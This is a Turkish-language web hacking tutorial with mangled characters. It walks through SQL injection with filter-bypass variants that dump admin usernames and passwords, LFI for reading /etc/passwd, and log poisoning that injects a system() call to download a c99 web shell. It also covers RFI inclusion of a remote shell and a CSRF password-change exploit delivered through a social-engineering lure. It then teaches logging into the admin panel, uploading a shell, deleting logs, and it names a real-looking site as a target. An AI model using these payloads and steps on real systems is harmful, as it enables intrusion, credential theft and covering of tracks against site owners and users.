Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
